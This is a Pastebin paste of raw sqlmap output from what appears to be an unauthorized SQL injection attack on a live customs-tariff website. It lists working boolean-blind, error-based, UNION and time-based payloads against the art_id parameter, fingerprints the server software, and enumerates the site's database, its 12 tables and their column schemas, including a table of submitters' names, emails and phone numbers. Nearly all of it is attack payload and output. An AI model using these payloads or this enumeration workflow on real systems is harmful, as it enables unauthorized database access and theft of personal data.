API tools faq
paste
TheOkapi

Customs preview

TheOkapi
Nov 4th, 2013
185
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.25 KB | None | 0 0
raw download clone embed print report
  1. Place: GET
  2. Parameter: art_id
  3. Type: boolean-based blind
  4. Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  5. Payload: art_id=-8004 OR (4812=4812)#
  6.  
  7. Type: error-based
  8. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  9. Payload: art_id=8 AND (SELECT 7198 FROM(SELECT COUNT(*),CONCAT(0x71636e6371,(SELECT (CASE WHEN (7198=7198) THEN 1 ELSE 0 END)),0x716d666771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  10.  
  11. Type: UNION query
  12. Title: MySQL UNION query (NULL) - 10 columns
  13. Payload: art_id=8 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71636e6371,0x6e754b7979545a52484b,0x716d666771),NULL,NULL,NULL,NULL,NULL,NULL#
  14.  
  15. Type: AND/OR time-based blind
  16. Title: MySQL > 5.0.11 OR time-based blind
  17. Payload: art_id=-6306 OR 2230=SLEEP(5)
  18. ---
  19. web server operating system: Linux CentOS 5.8
  20. web application technology: Apache 2.2.3, PHP 5.1.6
  21. back-end DBMS: MySQL 5.0
  22. available databases [2]:
  23. [*] cust_sy_db
  24. [*] information_schema
  25.  
  26. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  27. ---
  28. Place: GET
  29. Parameter: art_id
  30. Type: boolean-based blind
  31. Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  32. Payload: art_id=-8004 OR (4812=4812)#
  33.  
  34. Type: error-based
  35. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  36. Payload: art_id=8 AND (SELECT 7198 FROM(SELECT COUNT(*),CONCAT(0x71636e6371,(SELECT (CASE WHEN (7198=7198) THEN 1 ELSE 0 END)),0x716d666771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  37.  
  38. Type: UNION query
  39. Title: MySQL UNION query (NULL) - 10 columns
  40. Payload: art_id=8 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71636e6371,0x6e754b7979545a52484b,0x716d666771),NULL,NULL,NULL,NULL,NULL,NULL#
  41.  
  42. Type: AND/OR time-based blind
  43. Title: MySQL > 5.0.11 OR time-based blind
  44. Payload: art_id=-6306 OR 2230=SLEEP(5)
  45. ---
  46. web server operating system: Linux CentOS 5.8
  47. web application technology: Apache 2.2.3, PHP 5.1.6
  48. back-end DBMS: MySQL 5.0
  49. Database: cust_sy_db
  50. [12 tables]
  51. +------------------------+
  52. | articls |
  53. | counter |
  54. | guiding_price_decision |
  55. | guiding_price_list |
  56. | proposals |
  57. | unhs1tab |
  58. | unhs2tab |
  59. | unhs3tab |
  60. | unhs4tab |
  61. | unhs5tab |
  62. | unhs6tab |
  63. | untartab |
  64. +------------------------+
  65.  
  66. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  67. ---
  68. Place: GET
  69. Parameter: art_id
  70. Type: boolean-based blind
  71. Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  72. Payload: art_id=-8004 OR (4812=4812)#
  73.  
  74. Type: error-based
  75. Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  76. Payload: art_id=8 AND (SELECT 7198 FROM(SELECT COUNT(*),CONCAT(0x71636e6371,(SELECT (CASE WHEN (7198=7198) THEN 1 ELSE 0 END)),0x716d666771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  77.  
  78. Type: UNION query
  79. Title: MySQL UNION query (NULL) - 10 columns
  80. Payload: art_id=8 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71636e6371,0x6e754b7979545a52484b,0x716d666771),NULL,NULL,NULL,NULL,NULL,NULL#
  81.  
  82. Type: AND/OR time-based blind
  83. Title: MySQL > 5.0.11 OR time-based blind
  84. Payload: art_id=-6306 OR 2230=SLEEP(5)
  85. ---
  86. web server operating system: Linux CentOS 5.8
  87. web application technology: Apache 2.2.3, PHP 5.1.6
  88. back-end DBMS: MySQL 5.0
  89. Database: cust_sy_db
  90. Table: guiding_price_list
  91. [9 columns]
  92. +-------------+--------------+
  93. | Column | Type |
  94. +-------------+--------------+
  95. | value | int(11) |
  96. | code | varchar(50) |
  97. | currency | varchar(25) |
  98. | dec_id | int(11) |
  99. | description | text |
  100. | Id | int(11) |
  101. | notes | text |
  102. | origin | varchar(255) |
  103. | unit | varchar(250) |
  104. +-------------+--------------+
  105.  
  106. Database: cust_sy_db
  107. Table: unhs2tab
  108. [7 columns]
  109. +------------+-------------+
  110. | Column | Type |
  111. +------------+-------------+
  112. | HS1_COD | varchar(25) |
  113. | HS2_COD | varchar(25) |
  114. | HS2_DSC | text |
  115. | HS2_TXT | text |
  116. | NOT_COD | varchar(25) |
  117. | VALID_FROM | datetime |
  118. | VALID_TO | datetime |
  119. +------------+-------------+
  120.  
  121. Database: cust_sy_db
  122. Table: unhs3tab
  123. [5 columns]
  124. +------------+-------------+
  125. | Column | Type |
  126. +------------+-------------+
  127. | HS2_COD | varchar(25) |
  128. | HS3_COD | varchar(25) |
  129. | HS3_DSC | text |
  130. | VALID_FROM | datetime |
  131. | VALID_TO | date |
  132. +------------+-------------+
  133.  
  134. Database: cust_sy_db
  135. Table: counter
  136. [3 columns]
  137. +--------+------------------+
  138. | Column | Type |
  139. +--------+------------------+
  140. | date | date |
  141. | hits | int(11) unsigned |
  142. | Id | int(11) |
  143. +--------+------------------+
  144.  
  145. Database: cust_sy_db
  146. Table: proposals
  147. [10 columns]
  148. +--------+--------------+
  149. | Column | Type |
  150. +--------+--------------+
  151. | Id | int(11) |
  152. | rdate | datetime |
  153. | rtext | text |
  154. | sdate | datetime |
  155. | semail | varchar(255) |
  156. | sname | varchar(255) |
  157. | sphone | varchar(255) |
  158. | sstate | int(11) |
  159. | stext | text |
  160. | stype | tinyint(3) |
  161. +--------+--------------+
  162.  
  163. Database: cust_sy_db
  164. Table: unhs6tab
  165. [6 columns]
  166. +------------+-------------+
  167. | Column | Type |
  168. +------------+-------------+
  169. | HS4_COD | varchar(25) |
  170. | HS5_COD | varchar(25) |
  171. | HS6_COD | varchar(25) |
  172. | HS6_DSC | text |
  173. | VALID_FROM | datetime |
  174. | VALID_TO | datetime |
  175. +------------+-------------+
  176.  
  177. Database: cust_sy_db
  178. Table: articls
  179. [10 columns]
  180. +--------------+--------------+
  181. | Column | Type |
  182. +--------------+--------------+
  183. | active | tinyint(1) |
  184. | add_date | date |
  185. | description | text |
  186. | end_date | date |
  187. | Id | int(11) |
  188. | lang | varchar(25) |
  189. | show_in_home | tinyint(1) |
  190. | start_date | date |
  191. | summary | varchar(255) |
  192. | title | varchar(255) |
  193. +--------------+--------------+
  194.  
  195. Database: cust_sy_db
  196. Table: guiding_price_decision
  197. [5 columns]
  198. +---------------+-------------+
  199. | Column | Type |
  200. +---------------+-------------+
  201. | decision_Date | date |
  202. | decision_nb | varchar(50) |
  203. | description | text |
  204. | Id | int(11) |
  205. | summary | text |
  206. +---------------+-------------+
  207.  
  208. Database: cust_sy_db
  209. Table: unhs5tab
  210. [5 columns]
  211. +------------+-------------+
  212. | Column | Type |
  213. +------------+-------------+
  214. | HS4_COD | varchar(25) |
  215. | HS5_COD | varchar(25) |
  216. | HS5_DSC | text |
  217. | VALID_FROM | datetime |
  218. | VALID_TO | datetime |
  219. +------------+-------------+
  220.  
  221. Database: cust_sy_db
  222. Table: untartab
  223. [33 columns]
  224. +------------------------+--------------+
  225. | Column | Type |
  226. +------------------------+--------------+
  227. | HS6_COD | varchar(25) |
  228. | MKT_COD | varchar(25) |
  229. | NOT_COD | varchar(25) |
  230. | OPERATION_DATENewField | datetime |
  231. | OPERATION_NAME | varchar(255) |
  232. | RUL_COD | varchar(25) |
  233. | TAR_ALL | text |
  234. | TAR_DSC | text |
  235. | TAR_PR1 | varchar(25) |
  236. | TAR_PR2 | varchar(25) |
  237. | TAR_PR3 | varchar(25) |
  238. | TAR_PR4 | varchar(25) |
  239. | TAR_T01 | varchar(25) |
  240. | TAR_T02 | varchar(25) |
  241. | TAR_T03 | varchar(25) |
  242. | TAR_T04 | varchar(25) |
  243. | TAR_T05 | varchar(25) |
  244. | TAR_T06 | varchar(25) |
  245. | TAR_T07 | varchar(25) |
  246. | TAR_T08 | varchar(25) |
  247. | TAR_T09 | varchar(25) |
  248. | TAR_T10 | varchar(25) |
  249. | TAR_T11 | varchar(25) |
  250. | TAR_T12 | varchar(25) |
  251. | TAR_T13 | varchar(25) |
  252. | TAR_T14 | varchar(25) |
  253. | TAR_T15 | varchar(25) |
  254. | UOM_COD1 | varchar(25) |
  255. | UOM_COD2 | varchar(25) |
  256. | UOM_COD3 | varchar(25) |
  257. | USER_NAME | varchar(255) |
  258. | VALID_FROM | datetime |
  259. | VALID_TO | datetime |
  260. +------------------------+--------------+
  261.  
  262. Database: cust_sy_db
  263. Table: unhs1tab
  264. [6 columns]
  265. +------------+-------------+
  266. | Column | Type |
  267. +------------+-------------+
  268. | HS1_COD | varchar(25) |
  269. | HS1_DSC | text |
  270. | HS1_TXT | text |
  271. | NOT_COD | varchar(25) |
  272. | VALID_FROM | datetime |
  273. | VALID_TO | datetime |
  274. +------------+-------------+
  275.  
  276. Database: cust_sy_db
  277. Table: unhs4tab
  278. [6 columns]
  279. +------------+-------------+
  280. | Column | Type |
  281. +------------+-------------+
  282. | HS2_COD | varchar(25) |
  283. | HS3_COD | varchar(25) |
  284. | HS4_COD | varchar(25) |
  285. | HS4_DSC | text |
  286. | VALID_FROM | datetime |
  287. | VALID_TO | datetime |
  288. +------------+-------------+
  289.  
  290. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  291. ---
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!